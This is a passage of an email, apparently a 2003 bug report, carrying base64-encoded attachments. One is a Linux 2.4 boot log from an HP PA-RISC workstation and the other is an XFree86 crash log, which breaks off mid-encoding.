cyAweDU4MiwgMHgwLCAweGINCjIuIEVscm95IFBDSSBCcmlkZ2UgKDEzKSBh
dCAweGZlZDMwMDAwIFsxMC8wXSwgdmVyc2lvbnMgMHg3ODIsIDB4MCwgMHhh
DQozLiBFbHJveSBQQ0kgQnJpZGdlICgxMykgYXQgMHhmZWQzMjAwMCBbMTAv
MV0sIHZlcnNpb25zIDB4NzgyLCAweDAsIDB4YQ0KNC4gRWxyb3kgUENJIEJy
aWRnZSAoMTMpIGF0IDB4ZmVkMzgwMDAgWzEwLzRdLCB2ZXJzaW9ucyAweDc4
MiwgMHgwLCAweGENCjUuIEVscm95IFBDSSBCcmlkZ2UgKDEzKSBhdCAweGZl
ZDNjMDAwIFsxMC82XSwgdmVyc2lvbnMgMHg3ODIsIDB4MCwgMHhhDQo2LiBB
bGxlZ3JvSGlnaCBXICgwKSBhdCAweGZmZmEwMDAwIFszMl0sIHZlcnNpb25z
IDB4NWJiLCAweDAsIDB4NA0KNy4gTWVtb3J5ICgxKSBhdCAweGZlZDEwMjAw
IFs0OV0sIHZlcnNpb25zIDB4ODYsIDB4MCwgMHg5DQpDUFUocyk6IDEgeCBQ
QTg1MDAgKFBDWC1XKSBhdCA0MDAuMDAwMDAwIE1Ieg0KU0JBIGZvdW5kIEFz
dHJvIDIuMSBhdCAweGZlZDAwMDAwDQpsYmEgdmVyc2lvbiBUUjIuMSAoMHgy
KSBmb3VuZCBhdCAweGZlZDMwMDAwDQpXQVJOSU5HOiBJZ25vcmluZyBlbmFi
bGVkIEVMTU1JTyBCQVNFIDB4ZjgwMDAwMDAgIFNJWkUgMHhmYzAwMDAwMA0K
bGJhIHZlcnNpb24gVFIyLjEgKDB4MikgZm91bmQgYXQgMHhmZWQzMjAwMA0K
V0FSTklORzogSWdub3JpbmcgZW5hYmxlZCBFTE1NSU8gQkFTRSAweGY4MDAw
MDAwICBTSVpFIDB4ZmMwMDAwMDANCmxiYSB2ZXJzaW9uIFRSMi4xICgweDIp
IGZvdW5kIGF0IDB4ZmVkMzgwMDANCldBUk5JTkc6IElnbm9yaW5nIGVuYWJs
ZWQgRUxNTUlPIEJBU0UgMHhmODAwMDAwMCAgU0laRSAweGZjMDAwMDAwDQps
YmEgdmVyc2lvbiBUUjIuMSAoMHgyKSBmb3VuZCBhdCAweGZlZDNjMDAwDQpX
QVJOSU5HOiBJZ25vcmluZyBlbmFibGVkIEVMTU1JTyBCQVNFIDB4ZjgwMDAw
MDAgIFNJWkUgMHhmYzAwMDAwMA0KaW9zYXBpYzogaHBhIG5vdCByZWdpc3Rl
cmVkIGZvciBQQ0kgZGV2aWNlIDEwM2M6MTAwOCAoSGV3bGV0dC1QYWNrYXJk
IENvbXBhbnkpDQpQT1NJWCBjb25mb3JtYW5jZSB0ZXN0aW5nIGJ5IFVOSUZJ
WA0KTGludXggTkVUNC4wIGZvciBMaW51eCAyLjQNCkJhc2VkIHVwb24gU3dh
bnNlYSBVbml2ZXJzaXR5IENvbXB1dGVyIFNvY2lldHkgTkVUMy4wMzkNCklu
aXRpYWxpemluZyBSVCBuZXRsaW5rIHNvY2tldA0KU29mdCBwb3dlciBzd2l0
Y2ggZW5hYmxlZCwgcG9sbGluZyBAIDB4ZjA0MDA4MDQuDQpTdXBlcklPOiBG
b3VuZCBOUzg3NTYwIExlZ2FjeSBJL08gZGV2aWNlIGF0IDAwOjBlLjEgKElS
USA2NCkgDQpTdXBlcklPOiBTZXJpYWwgcG9ydCAxIGF0IDB4M2Y4DQpTdXBl
cklPOiBTZXJpYWwgcG9ydCAyIGF0IDB4MmY4DQpTdXBlcklPOiBQYXJhbGxl
bCBwb3J0IGF0IDB4Mzc4DQpTdXBlcklPOiBGbG9wcHkgY29udHJvbGxlciBh
dCAweDNmMA0KU3VwZXJJTzogQUNQSSBhdCAweDdlMA0KU3VwZXJJTzogVVNC
IHJlZ3VsYXRvciBlbmFibGVkDQpwYXJwb3J0MDogUEMtc3R5bGUgYXQgMHgz
NzgsIGlycSAxMDEgW1BDU1BQKCwuLi4pXQ0KU3RhcnRpbmcga3N3YXBkDQpK
b3VybmFsbGVkIEJsb2NrIERldmljZSBkcml2ZXIgbG9hZGVkDQpJbnN0YWxs
aW5nIGtuZnNkIChjb3B5cmlnaHQgKEMpIDE5OTYgb2tpckBtb25hZC5zd2Iu
ZGUpLg0KU1RJIEdTQy9QQ0kgZ3JhcGhpY3MgZHJpdmVyIHZlcnNpb24gMC45
DQpTVEkgUENJIGdyYXBoaWMgUk9NIGZvdW5kIGF0IGY3MDAwMDAwICgyMDQ4
IGtCKSwgZmIgYXQgZmEwMDAwMDAgKDMyIE1CKQ0KU1RJIHdvcmQgbW9kZSBS
T00gYXQgZjcwMDAwNDQsIGhwYSBhdCBmYTAwMDAwMA0KU1RJIGlkIDJmYzEw
NjZiLTlhMDI1ODcsIGNvbmZvcm1zIHRvIHNwZWMgcmV2LiA4LjA5DQpTVEkg
ZGV2aWNlOiBIUEE0NTUzQQ0Kc3RpZmI6IFVuc3VwcG9ydGVkIGdmeCBjYXJk
IGlkIDB4MmZjMTA2NmINCnB0eTogMjU2IFVuaXg5OCBwdHlzIGNvbmZpZ3Vy
ZWQNClBEQyBTb2Z0d2FyZSBDb25zb2xlIHZlcnNpb24gMC4zICgyMDAxLTEx
LTE3KSwgY2hyaXN0b3BoLnBsYXR0bmVyQGdteC5hdA0KU2VyaWFsIGRyaXZl
ciB2ZXJzaW9uIDUuMDVjICgyMDAxLTA3LTA4KSB3aXRoIE1BTllfUE9SVFMg
U0hBUkVfSVJRIFNFUklBTF9QQ0kgZW5hYmxlZA0KdHR5UzAwIGF0IHBvcnQg
MHgwM2Y4IChpcnEgPSA5OSkgaXMgYSAxNjU1MEENCnR0eVMwMSBhdCBwb3J0
IDB4MDJmOCAoaXJxID0gMTAwKSBpcyBhIDE2NTUwQQ0KbHAwOiB1c2luZyBw
YXJwb3J0MCAoaW50ZXJydXB0LWRyaXZlbikuDQpHZW5lcmljIFJUQyBEcml2
ZXIgdjEuMDIgMDUvMjcvMTk5OSBTYW0gQ3JlYXNleSAoc2FtbXlAb2gudmVy
aW8uY29tKQ0KVW5pZm9ybSBNdWx0aS1QbGF0Zm9ybSBFLUlERSBkcml2ZXIg
UmV2aXNpb246IDYuMzENCmlkZTogQXNzdW1pbmcgMzNNSHogc3lzdGVtIGJ1
cyBzcGVlZCBmb3IgUElPIG1vZGVzOyBvdmVycmlkZSB3aXRoIGlkZWJ1cz14
eA0KTlM4NzQxNTogSURFIGNvbnRyb2xsZXIgb24gUENJIGJ1cyAwMCBkZXYg
NzANCk5TODc0MTU6IGNoaXBzZXQgcmV2aXNpb24gMw0KTlM4NzQxNTogbm90
IDEwMCUgbmF0aXZlIG1vZGU6IHdpbGwgcHJvYmUgaXJxcyBsYXRlcg0KICAg
IGlkZTA6IEJNLURNQSBhdCAweDBhMDAtMHgwYTA3LCBCSU9TIHNldHRpbmdz
OiBoZGE6cGlvLCBoZGI6cGlvDQogICAgaWRlMTogQk0tRE1BIGF0IDB4MGEw
OC0weDBhMGYsIEJJT1Mgc2V0dGluZ3M6IGhkYzpwaW8sIGhkZDpwaW8NCmhk
YTogQ0QtNTMyRS1CLCBBVEFQSSBDRC9EVkQtUk9NIGRyaXZlDQppZGUwIGF0
IDB4MWYwLTB4MWY3LDB4M2Y2IG9uIGlycSAxMDMNCmhkYTogQVRBUEkgMzJY
IENELVJPTSBkcml2ZSwgMTI4a0IgQ2FjaGUNClVuaWZvcm0gQ0QtUk9NIGRy
aXZlciBSZXZpc2lvbjogMy4xMg0KUkFNRElTSyBkcml2ZXIgaW5pdGlhbGl6
ZWQ6IDE2IFJBTSBkaXNrcyBvZiA2MTQ0SyBzaXplIDEwMjQgYmxvY2tzaXpl
DQpsb29wOiBsb2FkZWQgKG1heCA4IGRldmljZXMpDQpMaW51eCBUdWxpcCBk
cml2ZXIgdmVyc2lvbiAwLjkuMTUtcHJlMTEgKE1heSAxMSwgMjAwMikNCnR1
bGlwMDogbm8gcGh5IGluZm8sIGFib3J0aW5nIG10YWJsZSBidWlsZA0KdHVs
aXAwOiAgTUlJIHRyYW5zY2VpdmVyICMxIGNvbmZpZyAxMjAwIHN0YXR1cyA3
ODA5IGFkdmVydGlzaW5nIDAxZTEuDQpldGgwOiBEaWdpdGFsIERTMjExNDMg
VHVsaXAgcmV2IDY1IGF0IDB4MTAwMCwgMDA6MTA6ODM6Q0Y6RjY6NkEsIElS
USA2Ni4NClNDU0kgc3Vic3lzdGVtIGRyaXZlciBSZXZpc2lvbjogMS4wMA0K
c3ltMDogPDg5Nj4gcmV2IDB4NCBvbiBwY2kgYnVzIDAgZGV2aWNlIDE1IGZ1
bmN0aW9uIDAgaXJxIDY1DQpzeW0wOiBObyBOVlJBTSwgSUQgNywgRmFzdC00
MCwgU0UsIHBhcml0eSBjaGVja2luZw0Kc3ltMDogU0NTSSBCVVMgaGFzIGJl
ZW4gcmVzZXQuDQpzeW0wOiBTQ1NJIEJVUyBtb2RlIGNoYW5nZSBmcm9tIFNF
IHRvIFNFLg0Kc3ltMDogU0NTSSBCVVMgaGFzIGJlZW4gcmVzZXQuDQpzeW0x
OiA8ODk2PiByZXYgMHg0IG9uIHBjaSBidXMgMCBkZXZpY2UgMTUgZnVuY3Rp
b24gMSBpcnEgNjUNCnN5bTE6IE5vIE5WUkFNLCBJRCA3LCBGYXN0LTQwLCBM
VkQsIHBhcml0eSBjaGVja2luZw0Kc3ltMTogU0NTSSBCVVMgaGFzIGJlZW4g
cmVzZXQuDQpzY3NpMCA6IHN5bS0yLjEuMTdhDQpzY3NpMSA6IHN5bS0yLjEu
MTdhDQogIFZlbmRvcjogUVVBTlRVTSAgIE1vZGVsOiBBVExBUzEwSy05TFZE
ICAgICBSZXY6IEhQMDYNCiAgVHlwZTogICBEaXJlY3QtQWNjZXNzICAgICAg
ICAgICAgICAgICAgICAgIEFOU0kgU0NTSSByZXZpc2lvbjogMDMNCiAgVmVu
ZG9yOiBRVUFOVFVNICAgTW9kZWw6IEFUTEFTMTBLLTlMVkQgICAgIFJldjog
SFAwNg0KICBUeXBlOiAgIERpcmVjdC1BY2Nlc3MgICAgICAgICAgICAgICAg
ICAgICAgQU5TSSBTQ1NJIHJldmlzaW9uOiAwMw0Kc3ltMTo1OjA6IHRhZ2dl
ZCBjb21tYW5kIHF1ZXVpbmcgZW5hYmxlZCwgY29tbWFuZCBxdWV1ZSBkZXB0
aCAxNi4NCnN5bTE6NjowOiB0YWdnZWQgY29tbWFuZCBxdWV1aW5nIGVuYWJs
ZWQsIGNvbW1hbmQgcXVldWUgZGVwdGggMTYuDQpBdHRhY2hlZCBzY3NpIGRp
c2sgc2RhIGF0IHNjc2kxLCBjaGFubmVsIDAsIGlkIDUsIGx1biAwDQpBdHRh
Y2hlZCBzY3NpIGRpc2sgc2RiIGF0IHNjc2kxLCBjaGFubmVsIDAsIGlkIDYs
IGx1biAwDQpzeW0xOjU6IEZBU1QtNDAgV0lERSBTQ1NJIDgwLjAgTUIvcyBT
VCAoMjUuMCBucywgb2Zmc2V0IDMxKQ0KU0NTSSBkZXZpY2Ugc2RhOiAxNzc3
MzUyNCA1MTItYnl0ZSBoZHdyIHNlY3RvcnMgKDkxMDAgTUIpDQpQYXJ0aXRp
b24gY2hlY2s6DQogc2RhOiBzZGExIHNkYTIgc2RhMyBzZGE0DQpzeW0xOjY6
IEZBU1QtNDAgV0lERSBTQ1NJIDgwLjAgTUIvcyBTVCAoMjUuMCBucywgb2Zm
c2V0IDMxKQ0KU0NTSSBkZXZpY2Ugc2RiOiAxNzc3MzUyNCA1MTItYnl0ZSBo
ZHdyIHNlY3RvcnMgKDkxMDAgTUIpDQogc2RiOiB1bmtub3duIHBhcnRpdGlv
biB0YWJsZQ0Kc3RpY29uOiBJbml0aWFsaXppbmcgU1RJIHRleHQgY29uc29s
ZS4NCkNvbnNvbGU6IHN3aXRjaGluZyB0byBjb2xvdXIgU1RJIGNvbnNvbGUg
MTYweDY0DQp1c2IuYzogcmVnaXN0ZXJlZCBuZXcgZHJpdmVyIHVzYmRldmZz
DQp1c2IuYzogcmVnaXN0ZXJlZCBuZXcgZHJpdmVyIGh1Yg0KdXNiLW9oY2ku
YzogVVNCIE9IQ0kgYXQgbWVtYmFzZSAweGY0MDA3MDAwLCBJUlEgOTcNCnVz
Yi1vaGNpLmM6IHVzYi0wMDowZS4yLCBOYXRpb25hbCBTZW1pY29uZHVjdG9y
IENvcnBvcmF0aW9uIFVTQiBDb250cm9sbGVyDQp1c2IuYzogbmV3IFVTQiBi
dXMgcmVnaXN0ZXJlZCwgYXNzaWduZWQgYnVzIG51bWJlciAxDQpodWIuYzog
VVNCIGh1YiBmb3VuZA0KaHViLmM6IDMgcG9ydHMgZGV0ZWN0ZWQNCnVzYi5j
OiByZWdpc3RlcmVkIG5ldyBkcml2ZXIgaGlkDQpoaWQtY29yZS5jOiB2MS44
LjEgQW5kcmVhcyBHYWwsIFZvanRlY2ggUGF2bGlrIDx2b2p0ZWNoQHN1c2Uu
Y3o+DQpoaWQtY29yZS5jOiBVU0IgSElEIHN1cHBvcnQgZHJpdmVycw0KbWlj
ZTogUFMvMiBtb3VzZSBkZXZpY2UgY29tbW9uIGZvciBhbGwgbWljZQ0KSFAg
U0RDOiBObyBTREMgZm91bmQuDQpIUCBTREMgTUxDOiBSZWdpc3RlcmluZyB0
aGUgU3lzdGVtIERvbWFpbiBDb250cm9sbGVyJ3MgSElMIE1MQy4NCkhQIFNE
QyBNTEM6IFJlcXVlc3QgZm9yIHJhdyBISUwgSVNSIGhvb2sgZGVuaWVkDQpt
ZDogbGluZWFyIHBlcnNvbmFsaXR5IHJlZ2lzdGVyZWQgYXMgbnIgMQ0KbWQ6
IHJhaWQwIHBlcnNvbmFsaXR5IHJlZ2lzdGVyZWQgYXMgbnIgMg0KbWQ6IHJh
aWQxIHBlcnNvbmFsaXR5IHJlZ2lzdGVyZWQgYXMgbnIgMw0KbWQ6IHJhaWQ1
IHBlcnNvbmFsaXR5IHJlZ2lzdGVyZWQgYXMgbnIgNA0KcmFpZDU6IG1lYXN1
cmluZyBjaGVja3N1bW1pbmcgc3BlZWQNCiAgIDhyZWdzICAgICA6ICAgOTYz
LjYwMCBNQi9zZWMNCiAgIDhyZWdzX3ByZWZldGNoOiAgIDk2My42MDAgTUIv
c2VjDQogICAzMnJlZ3MgICAgOiAgIDY4NS4yMDAgTUIvc2VjDQogICAzMnJl
Z3NfcHJlZmV0Y2g6ICAgNjg1LjIwMCBNQi9zZWMNCnJhaWQ1OiB1c2luZyBm
dW5jdGlvbjogOHJlZ3NfcHJlZmV0Y2ggKDk2My42MDAgTUIvc2VjKQ0KbWQ6
IG1kIGRyaXZlciAwLjkwLjAgTUFYX01EX0RFVlM9MjU2LCBNRF9TQl9ESVNL
Uz0yNw0KbWQ6IEF1dG9kZXRlY3RpbmcgUkFJRCBhcnJheXMuDQptZDogYXV0
b3J1biAuLi4NCm1kOiAuLi4gYXV0b3J1biBET05FLg0KTkVUNDogTGludXgg
VENQL0lQIDEuMCBmb3IgTkVUNC4wDQpJUCBQcm90b2NvbHM6IElDTVAsIFVE
UCwgVENQLCBJR01QDQpJUDogcm91dGluZyBjYWNoZSBoYXNoIHRhYmxlIG9m
IDMyNzY4IGJ1Y2tldHMsIDI1NktieXRlcw0KVENQOiBIYXNoIHRhYmxlcyBj
b25maWd1cmVkIChlc3RhYmxpc2hlZCAyNjIxNDQgYmluZCA2NTUzNikNCk5F
VDQ6IFVuaXggZG9tYWluIHNvY2tldHMgMS4wL1NNUCBmb3IgTGludXggTkVU
NC4wLg0Ka2pvdXJuYWxkIHN0YXJ0aW5nLiAgQ29tbWl0IGludGVydmFsIDUg
c2Vjb25kcw0KRVhUMy1mczogbW91bnRlZCBmaWxlc3lzdGVtIHdpdGggb3Jk
ZXJlZCBkYXRhIG1vZGUuDQpWRlM6IE1vdW50ZWQgcm9vdCAoZXh0MyBmaWxl
c3lzdGVtKSByZWFkb25seS4NCkZyZWVpbmcgdW51c2VkIGtlcm5lbCBtZW1v
cnk6IDI1MGsgZnJlZWQNCmh1Yi5jOiBVU0IgbmV3IGRldmljZSBjb25uZWN0
IG9uIGJ1czEvMSwgYXNzaWduZWQgZGV2aWNlIG51bWJlciAyDQppbnB1dDAs
aGlkZGV2MDogVVNCIEhJRCB2MC4wMSBLZXlib2FyZCBbU0lMSVRFSyBVU0Ig
S2V5Ym9hcmQgYW5kIE1vdXNlXSBvbiB1c2IxOjIuMA0KaW5wdXQxLGhpZGRl
djA6IFVTQiBISUQgdjAuMDEgTW91c2UgW1NJTElURUsgVVNCIEtleWJvYXJk
IGFuZCBNb3VzZV0gb24gdXNiMToyLjENCkFkZGluZyBTd2FwOiAxMjU5NDhr
IHN3YXAtc3BhY2UgKHByaW9yaXR5IC0xKQ0KaHViLmM6IFVTQiBuZXcgZGV2
aWNlIGNvbm5lY3Qgb24gYnVzMS8yLCBhc3NpZ25lZCBkZXZpY2UgbnVtYmVy
IDMNCmlucHV0MixoaWRkZXYwOiBVU0IgSElEIHYwLjAxIE1vdXNlIFtMb2dp
dGVjaCBONDhdIG9uIHVzYjE6My4wDQpFWFQzIEZTIDIuNC0wLjkuMTcsIDEw
IEphbiAyMDAyIG9uIHNkKDgsMyksIGludGVybmFsIGpvdXJuYWwNCmtqb3Vy
bmFsZCBzdGFydGluZy4gIENvbW1pdCBpbnRlcnZhbCA1IHNlY29uZHMNCkVY
VDMgRlMgMi40LTAuOS4xNywgMTAgSmFuIDIwMDIgb24gc2QoOCw0KSwgaW50
ZXJuYWwgam91cm5hbA0KRVhUMy1mczogbW91bnRlZCBmaWxlc3lzdGVtIHdp
dGggb3JkZXJlZCBkYXRhIG1vZGUuDQo=
--110259765-898508547-1043059225=:5018
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="Xcrash.log"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.50.0301200440251.5018@lion.ece.utexas.edu>
Content-Description: 
Content-Disposition: attachment; filename="Xcrash.log"

DQpUaGlzIGlzIGEgcHJlLXJlbGVhc2UgdmVyc2lvbiBvZiBYRnJlZTg2LCBh
bmQgaXMgbm90IHN1cHBvcnRlZCBpbiBhbnkNCndheS4gIEJ1Z3MgbWF5IGJl
IHJlcG9ydGVkIHRvIFhGcmVlODZAWEZyZWU4Ni5PcmcgYW5kIHBhdGNoZXMg
c3VibWl0dGVkDQp0byBmaXhlc0BYRnJlZTg2Lk9yZy4gIEJlZm9yZSByZXBv
cnRpbmcgYnVncyBpbiBwcmUtcmVsZWFzZSB2ZXJzaW9ucywNCnBsZWFzZSBj
aGVjayB0aGUgbGF0ZXN0IHZlcnNpb24gaW4gdGhlIFhGcmVlODYgQ1ZTIHJl
cG9zaXRvcnkNCihodHRwOi8vd3d3LlhGcmVlODYuT3JnL2N2cykNCg0KWEZy
ZWU4NiBWZXJzaW9uIDQuMS4wLjEgLyBYIFdpbmRvdyBTeXN0ZW0NCihwcm90
b2NvbCBWZXJzaW9uIDExLCByZXZpc2lvbiAwLCB2ZW5kb3IgcmVsZWFzZSA2
NTEwKQ0KUmVsZWFzZSBEYXRlOiAyMSBEZWNlbWJlciAyMDAxDQoJSWYgdGhl
IHNlcnZlciBpcyBvbGRlciB0aGFuIDYtMTIgbW9udGhzLCBvciBpZiB5b3Vy
IGNhcmQgaXMNCgluZXdlciB0aGFuIHRoZSBhYm92ZSBkYXRlLCBsb29rIGZv
ciBhIG5ld2VyIHZlcnNpb24gYmVmb3JlDQoJcmVwb3J0aW5nIHByb2JsZW1z
LiAgKFNlZSBodHRwOi8vd3d3LlhGcmVlODYuT3JnL0ZBUSkNCkJ1aWxkIE9w
ZXJhdGluZyBTeXN0ZW06IExpbnV4IDIuNC4xNi02NCBwYXJpc2M2NCBbRUxG
XSANCig9PSkgTG9nIGZpbGU6ICIvdmFyL2xvZy9YRnJlZTg2LjAubG9nIiwg
VGltZTogV2VkIEphbiAxNSAxNjoyMToxOCAyMDAzDQooPT0pIFVzaW5nIGNv
bmZpZyBmaWxlOiAiL2V0Yy9YMTEvWEY4NkNvbmZpZy00Ig0KTWFya2Vyczog
KC0tKSBwcm9iZWQsICgqKikgZnJvbSBjb25maWcgZmlsZSwgKD09KSBkZWZh
dWx0IHNldHRpbmcsDQogICAgICAgICAoKyspIGZyb20gY29tbWFuZCBsaW5l
LCAoISEpIG5vdGljZSwgKElJKSBpbmZvcm1hdGlvbmFsLA0KICAgICAgICAg
KFdXKSB3YXJuaW5nLCAoRUUpIGVycm9yLCAoTkkpIG5vdCBpbXBsZW1lbnRl
ZCwgKD8/KSB1bmtub3duLg0KKD09KSBTZXJ2ZXJMYXlvdXQgIkRlZmF1bHQg
TGF5b3V0Ig0KKCoqKSB8LS0+U2NyZWVuICJEZWZhdWx0IFNjcmVlbiIgKDAp
DQooKiopIHwgICB8LS0+TW9uaXRvciAiR2VuZXJpYyBNb25pdG9yIg0KKCoq
KSB8ICAgfC0tPkRldmljZSAiR2VuZXJpYyBWaWRlbyBDYXJkIg0KKCoqKSB8
LS0+SW5wdXQgRGV2aWNlICJHZW5lcmljIEtleWJvYXJkIg0KKCoqKSBPcHRp
b24gIlhrYlJ1bGVzIiAieGZyZWU4NiINCigqKikgWEtCOiBydWxlczogInhm
cmVlODYiDQooKiopIE9wdGlvbiAiWGtiTW9kZWwiICJwYzEwNCINCigqKikg
WEtCOiBtb2RlbDogInBjMTA0Ig0KKCoqKSBPcHRpb24gIlhrYkxheW91dCIg
InVzIg0KKCoqKSBYS0I6IGxheW91dDogInVzIg0KKD09KSBLZXlib2FyZDog
Q3VzdG9tS2V5Y29kZSBkaXNhYmxlZA0KKCoqKSB8LS0+SW5wdXQgRGV2aWNl
ICJVU0IgTW91c2UiDQooV1cpIFRoZSBkaXJlY3RvcnkgIi91c3IvbGliL1gx
MS9mb250cy9jeXJpbGxpYyIgZG9lcyBub3QgZXhpc3QuDQoJRW50cnkgZGVs
ZXRlZCBmcm9tIGZvbnQgcGF0aC4NCigqKikgRm9udFBhdGggc2V0IHRvICJ1
bml4Lzo3MTAwLC91c3IvbGliL1gxMS9mb250cy9taXNjLC91c3IvbGliL1gx
MS9mb250cy8xMDBkcGkvOnVuc2NhbGVkLC91c3IvbGliL1gxMS9mb250cy83
NWRwaS86dW5zY2FsZWQsL3Vzci9saWIvWDExL2ZvbnRzL1R5cGUxLC91c3Iv
bGliL1gxMS9mb250cy9TcGVlZG8sL3Vzci9saWIvWDExL2ZvbnRzLzEwMGRw
aSwvdXNyL2xpYi9YMTEvZm9udHMvNzVkcGkiDQooPT0pIFJnYlBhdGggc2V0
IHRvICIvdXNyL1gxMVI2L2xpYi9YMTEvcmdiIg0KKC0tKSB1c2luZyBWVCBu
dW1iZXIgNw0KDQooV1cpIENhbm5vdCBvcGVuIEFQTQ0KKElJKSBQQ0k6IFBD
SSBzY2FuIChhbGwgdmFsdWVzIGFyZSBpbiBoZXgpDQooSUkpIFBDSTogMDA6
MGM6MDogY2hpcCAxMDExLDAwMTkgY2FyZCAxMDNjLDEwNGYgcmV2IDQxIGNs
YXNzIDAyLDAwLDAwIGhkciAwMA0KKElJKSBQQ0k6IDAwOjBkOjA6IGNoaXAg
MTFkNCwxODg5IGNhcmQgMTFkNCwxODg5IHJldiAwMCBjbGFzcyAwNCwwMSww
MCBoZHIgMDANCihJSSkgUENJOiAwMDowZTowOiBjaGlwIDEwMGIsMDAwMiBj
YXJkIDAwMDAsMDAwMCByZXYgMDMgY2xhc3MgMDEsMDEsOGEgaGRyIDgwDQoo
SUkpIFBDSTogMDA6MGU6MTogY2hpcCAxMDBiLDAwMGUgY2FyZCAwMDAwLDAw
MDAgcmV2IDAxIGNsYXNzIDA2LDgwLDAwIGhkciA4MA0KKElJKSBQQ0k6IDAw
OjBlOjI6IGNoaXAgMTAwYiwwMDEyIGNhcmQgMDAwMCwwMDAwIHJldiAwMiBj
bGFzcyAwYywwMywxMCBoZHIgODANCihJSSkgUENJOiAwMDowZjowOiBjaGlw
IDEwMDAsMDAwYiBjYXJkIDEwMDAsMTAwMCByZXYgMDQgY2xhc3MgMDEsMDAs
MDAgaGRyIDgwDQooSUkpIFBDSTogMDA6MGY6MTogY2hpcCAxMDAwLDAwMGIg
Y2FyZCAxMDAwLDEwMDAgcmV2IDA0IGNsYXNzIDAxLDAwLDAwIGhkciA4MA0K
KElJKSBQQ0k6IDAzOjAyOjA6IGNoaXAgMTAzYywxMDA4IGNhcmQgMDAwMCww
MDAwIHJldiAwMiBjbGFzcyAwMyw4MCwwMCBoZHIgMDANCihJSSkgUENJOiBF
bmQgb2YgUENJIHNjYW4NCihJSSkgSG9zdC10by1QQ0kgYnJpZGdlOg0KKElJ
KSBIb3N0LXRvLVBDSSBicmlkZ2U6DQooSUkpIEhvc3QtdG8tUENJIGJyaWRn
ZToNCihJSSkgSG9zdC10by1QQ0kgYnJpZGdlOg0KKElJKSBCdXMgMDogYnJp
ZGdlIGlzIGF0ICgwOjA6MCksICgtMSwwLDApLCBCQ1RSTDogMHgwMCAoVkdB
X0VOIGlzIGNsZWFyZWQpDQooSUkpIEJ1cyAwIEkvTyByYW5nZToNCglbMF0g
LTEgMAkweDAwMDAwMDAwIC0gMHgwMDAwZmZmZiAoMHgxMDAwMCkgSVhbQl0N
CihJSSkgQnVzIDAgbm9uLXByZWZldGNoYWJsZSBtZW1vcnkgcmFuZ2U6DQoJ
WzBdIC0xIDAJMHgwMDAwMDAwMCAtIDB4ZmZmZmZmZmYgKDB4MCkgTVhbQl0N
CihJSSkgQnVzIDAgcHJlZmV0Y2hhYmxlIG1lbW9yeSByYW5nZToNCglbMF0g
LTEgMAkweDAwMDAwMDAwIC0gMHhmZmZmZmZmZiAoMHgwKSBNWFtCXQ0KKElJ
KSBCdXMgMTogYnJpZGdlIGlzIGF0ICgwOjA6MCksICgtMSwxLDApLCBCQ1RS
TDogMHgwMCAoVkdBX0VOIGlzIGNsZWFyZWQpDQooSUkpIEJ1cyAxIEkvTyBy
YW5nZToNCglbMF0gLTEgMAkweDAwMDAwMDAwIC0gMHgwMDAwZmZmZiAoMHgx
MDAwMCkgSVhbQl0NCihJSSkgQnVzIDEgbm9uLXByZWZldGNoYWJsZSBtZW1v
cnkgcmFuZ2U6DQoJWzBdIC0xIDAJMHgwMDAwMDAwMCAtIDB4ZmZmZmZmZmYg
KDB4MCkgTVhbQl0NCihJSSkgQnVzIDEgcHJlZmV0Y2hhYmxlIG1lbW9yeSBy
YW5nZToNCglbMF0gLTEgMAkweDAwMDAwMDAwIC0gMHhmZmZmZmZmZiAoMHgw
KSBNWFtCXQ0KKElJKSBCdXMgMjogYnJpZGdlIGlzIGF0ICgwOjA6MCksICgt
MSwyLDApLCBCQ1RSTDogMHgwMCAoVkdBX0VOIGlzIGNsZWFyZWQpDQooSUkp
IEJ1cyAyIEkvTyByYW5nZToNCglbMF0gLTEgMAkweDAwMDAwMDAwIC0gMHgw
MDAwZmZmZiAoMHgxMDAwMCkgSVhbQl0NCihJSSkgQnVzIDIgbm9uLXByZWZl
dGNoYWJsZSBtZW1vcnkgcmFuZ2U6DQoJWzBdIC0xIDAJMHgwMDAwMDAwMCAt
IDB4ZmZmZmZmZmYgKDB4MCkgTVhbQl0NCihJSSkgQnVzIDIgcHJlZmV0Y2hh
YmxlIG1lbW9yeSByYW5nZToNCglbMF0gLTEgMAkweDAwMDAwMDAwIC0gMHhm
ZmZmZmZmZiAoMHgwKSBNWFtCXQ0KKElJKSBCdXMgMzogYnJpZGdlIGlzIGF0
ICgwOjA6MCksICgtMSwzLDApLCBCQ1RSTDogMHgwMCAoVkdBX0VOIGlzIGNs
ZWFyZWQpDQooSUkpIEJ1cyAzIEkvTyByYW5nZToNCglbMF0gLTEgMAkweDAw
MDAwMDAwIC0gMHgwMDAwZmZmZiAoMHgxMDAwMCkgSVhbQl0NCihJSSkgQnVz
IDMgbm9uLXByZWZldGNoYWJsZSBtZW1vcnkgcmFuZ2U6DQoJWzBdIC0xIDAJ
MHgwMDAwMDAwMCAtIDB4ZmZmZmZmZmYgKDB4MCkgTVhbQl0NCihJSSkgQnVz
IDMgcHJlZmV0Y2hhYmxlIG1lbW9yeSByYW5nZToNCglbMF0gLTEgMAkweDAw
MDAwMDAwIC0gMHhmZmZmZmZmZiAoMHgwKSBNWFtCXQ0KKC0tKSBQQ0k6ICgz
OjI6MCkgSFAgdW5rbm93biBjaGlwc2V0ICgweDEwMDgpIHJldiAyLCBNZW0g
QCAweGZhMDAwMDAwLzI1LCBCSU9TIEAgMHhmNzAwMDAwMC8yMQ0KKElJKSBB
ZGRyZXNzYWJsZSBidXMgcmVzb3VyY2UgcmFuZ2VzIGFyZQ0KCVswXSAtMSAw
CTB4MDAwMDAwMDAgLSAweGZmZmZmZmZmICgweDApIE1YW0JdDQoJWzFdIC0x
IDAJMHgwMDAwMDAwMCAtIDB4MDAwMGZmZmYgKDB4MTAwMDApIElYW0JdDQoo
SUkpIE9TLXJlcG9ydGVkIHJlc291cmNlIHJhbmdlczoNCglbMF0gLTEgMAkw
eGZmZmZmZmZmIC0gMHhmZmZmZmZmZiAoMHgxKSBNWFtCXQ0KCVsxXSAtMSAw
CTB4MDAwMDAwMDAgLSAweDAwMDAwMDAwICgweDEpIE1YW0JdDQoJWzJdIC0x
IDAJMHgwMDAwZmZmZiAtIDB4MDAwMGZmZmYgKDB4MSkgSVhbQl0NCglbM10g
LTEgMAkweDAwMDAwMDAwIC0gMHgwMDAwMDAwMCAoMHgxKSBJWFtCXQ0KKElJ
KSBBY3RpdmUgUENJIHJlc291cmNlIHJhbmdlczoNCglbMF0gLTEgMAkweGY0
